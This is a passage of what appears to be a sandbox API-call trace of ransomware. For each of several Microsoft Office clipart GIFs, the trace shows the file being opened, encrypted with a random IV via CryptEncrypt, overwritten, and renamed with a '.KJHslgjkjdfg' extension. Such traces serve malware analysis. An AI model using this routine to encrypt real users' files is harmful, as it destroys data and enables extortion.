"c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.kjhslgjkjdfg")) returned 1 [0192.719] CloseHandle (hObject=0x114) returned 1 [0192.719] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1 [0192.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.722] GetProcessHeap () returned 0x2a0000 [0192.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.722] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.724] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.724] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.724] GetProcessHeap () returned 0x2a0000 [0192.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.724] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.724] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.724] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.724] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.724] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.724] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.725] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.725] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x158, lpOverlapped=0x0) returned 1 [0192.725] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x160, dwBufLen=0x160 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x160) returned 1 [0192.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.725] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x160, lpOverlapped=0x0) returned 1 [0192.725] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.725] SetEndOfFile (hFile=0x114) returned 1 [0192.728] GetProcessHeap () returned 0x2a0000 [0192.728] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.728] GetProcessHeap () returned 0x2a0000 [0192.728] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.kjhslgjkjdfg")) returned 1 [0192.730] CloseHandle (hObject=0x114) returned 1 [0192.730] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1 [0192.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.732] GetProcessHeap () returned 0x2a0000 [0192.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.732] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.732] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0192.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.734] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.734] GetProcessHeap () returned 0x2a0000 [0192.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.734] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.734] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.734] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.734] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.734] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.734] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.734] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.735] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.735] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.735] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1af, lpOverlapped=0x0) returned 1 [0192.735] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b0) returned 1 [0192.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.735] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b0, lpOverlapped=0x0) returned 1 [0192.735] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.735] SetEndOfFile (hFile=0x114) returned 1 [0192.738] GetProcessHeap () returned 0x2a0000 [0192.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.738] GetProcessHeap () returned 0x2a0000 [0192.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.kjhslgjkjdfg")) returned 1 [0192.740] CloseHandle (hObject=0x114) returned 1 [0192.741] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1 [0192.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.742] GetProcessHeap () returned 0x2a0000 [0192.742] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.742] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.742] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0192.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.744] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.744] GetProcessHeap () returned 0x2a0000 [0192.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.744] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.744] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.744] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.744] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.744] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.744] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.744] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.745] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.745] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d3, lpOverlapped=0x0) returned 1 [0192.745] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e0) returned 1 [0192.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.745] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e0, lpOverlapped=0x0) returned 1 [0192.745] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.745] SetEndOfFile (hFile=0x114) returned 1 [0192.748] GetProcessHeap () returned 0x2a0000 [0192.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.748] GetProcessHeap () returned 0x2a0000 [0192.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.kjhslgjkjdfg")) returned 1 [0192.752] CloseHandle (hObject=0x114) returned 1 [0192.752] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1 [0192.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.755] GetProcessHeap () returned 0x2a0000 [0192.755] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.755] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0192.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.758] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.758] GetProcessHeap () returned 0x2a0000 [0192.758] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.758] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.758] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.758] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.758] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.758] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.758] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.758] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.759] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.759] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.759] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x155, lpOverlapped=0x0) returned 1 [0192.759] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x160, dwBufLen=0x160 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x160) returned 1 [0192.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.759] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x160, lpOverlapped=0x0) returned 1 [0192.759] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.759] SetEndOfFile (hFile=0x114) returned 1 [0192.762] GetProcessHeap () returned 0x2a0000 [0192.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.762] GetProcessHeap () returned 0x2a0000 [0192.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.kjhslgjkjdfg")) returned 1 [0192.764] CloseHandle (hObject=0x114) returned 1 [0192.764] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1 [0192.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.765] GetProcessHeap () returned 0x2a0000 [0192.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.765] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.766] WriteFile (in: 